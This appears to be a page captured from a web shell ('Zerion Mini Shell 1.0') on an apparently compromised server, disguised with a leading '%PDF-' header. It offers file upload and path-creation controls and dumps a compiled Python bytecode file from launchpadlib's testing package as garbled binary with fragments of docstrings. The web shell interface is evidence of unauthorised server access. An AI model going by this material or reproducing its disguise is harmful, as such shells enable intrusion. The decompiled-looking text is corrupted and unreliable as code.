%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/launchpadlib/testing/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/launchpadlib/testing/__pycache__/resources.cpython-312.pyc

�

�{a���X�dZddlmZddlmZddlmZddlmZda	d�Z
Gd�d	e�Zy)
zAResources for use in unit tests with the C{testresources} module.�)�resource_string)�TestResource)�Application)�
FakeLaunchpadNc�N�t�d}tdd�}t||�atS)aGet or create a WADL application for testing Launchpad.

    Note that this uses the Launchpad v1.0 WADL bundled with launchpadlib for
    testing purposes.  For your own application, you might want to construct
    an L{Application} object directly, giving it your own WADL.
    zhttps://api.launchpad.net/1.0/�launchpadlib.testingzlaunchpad-wadl.xml)�launchpad_testing_applicationrr)�
markup_url�markups  �@/usr/lib/python3/dist-packages/launchpadlib/testing/resources.py�get_applicationr
!s0��%�,�5�
� �!7�9M�N��(3�J��(G�%�(�(�c��eZdZd�Zy)�FakeLaunchpadResourcec	�B�ttdtdd����S)Nz https://api.example.com/testing/rztesting-wadl.xml)�application)rrr)�self�dependency_resourcess  r�makezFakeLaunchpadResource.make1s&���#�2�� 6�8J�K��
�	
rN)�__name__�
__module__�__qualname__r�rrrr0s��
rr)�__doc__�
pkg_resourcesr�
testresourcesr�wadllib.applicationr�launchpadlib.testing.launchpadrr	r
rrrr�<module>rs0��&H�)�&�+�8�!%��)�
�L�
r

Zerion Mini Shell 1.0